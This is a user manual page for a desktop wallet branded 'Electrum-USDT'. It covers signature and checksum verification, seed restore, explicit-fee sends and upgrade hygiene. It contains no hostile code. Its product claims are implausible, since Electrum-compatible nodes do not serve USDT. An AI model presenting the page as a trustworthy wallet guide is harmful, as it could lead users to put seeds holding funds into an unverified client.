A concise, opinionated manual for running the desktop wallet: installation, verification, fee control and the exact surfaces you should expect to see.
Setup
Grab the desktop package for your OS, verify signatures and checksums before the first launch.
Security
Know what stays local, what touches the network and how to keep the deterministic seed safe.
Usage
Open to balances, send with explicit fees, keep a clean activity log and rehearse recovery.
Release
Track changelog rhythm, fetch fresh builds and retire outdated binaries safely.
Setup & verification
Download only from the official release block on the homepage. Validate signatures and checksums before the first run; keep the signed files in the same directory as the binaries during verification.
Use the shipped signatures and checksum list. Do not skip these steps if you are restoring a wallet with funds.
gpg --verify Electrum-USDT-0.9.3.exe.asc Electrum-USDT-0.9.3.exe
sha256sum Electrum-USDT-0.9.3.exeMatch the output against the fingerprint and SHA256 checksum posted in the release block. If anything differs, discard the download and fetch a new copy from the official page.
Security posture
The client behaves like a tool, not a storefront. Everything sensitive stays local, and every network call is scoped to wallet health.
When restoring on a new machine
Validate the installer first, then restore from the seed. Run a tiny outgoing transaction to confirm fee control and signing behave as expected.
If something looks off
Quit the app, re-download from the homepage, re-verify signatures and checksums. Do not proceed until the binaries match the published release.
Operating the wallet
The desktop build opens to balances and the send form. Everything is visible on one surface so you do not need to dig through tabs.
Start clean.
Launch into balances. Confirm the network indicator shows “Operational” and the release version matches the homepage.
Send with explicit fees.
Enter the amount, edit the fee field directly and review the resulting remaining balance before confirming. No sliders or hidden presets — numbers only.
Audit history.
The log records direction, amount, fee, timestamp and state (pending, confirmed, failed). Use it to reconcile or export data without social or marketplace noise.
Keep the fee field visible when sending. If the network is busy, set a clear numeric value instead of waiting for presets.
The wallet keeps change outputs inside your deterministic seed. No extra accounts or hidden addresses are created.
When using a new machine, send a small amount first. Confirm it settles in history before moving larger balances.
Operations playbook
Keep the wallet predictable by rehearsing restores, rotating devices safely and archiving old binaries.
Restore drills
On a spare machine, install the latest release, verify it, restore from your seed and confirm a small send. This validates backups and keeps the process fresh.
Network sanity
If balances or history look stale, reconnect or switch to another public Electrum-compatible node. Do not install random plugins to “fix” sync issues.
Archiving
After upgrading, archive previous binaries and their checksums in an offline folder. Label them with the release number for traceability.
Environment hygiene
Avoid browser extensions or screen recorders on the machine holding the wallet. Keep OS updates current and prefer wired connections when broadcasting large sends.
Release & support
Keep your build fresh, validate every download and consult the homepage for the latest changelog before upgrading.
Minor releases focus on UI clarity and node compatibility. Expect concise notes per version; do not skip straight to a later build without reading the deltas.
Support is documentation-first: follow the installation, verification and restore steps outlined here. If an issue persists, revalidate the binary before sharing logs.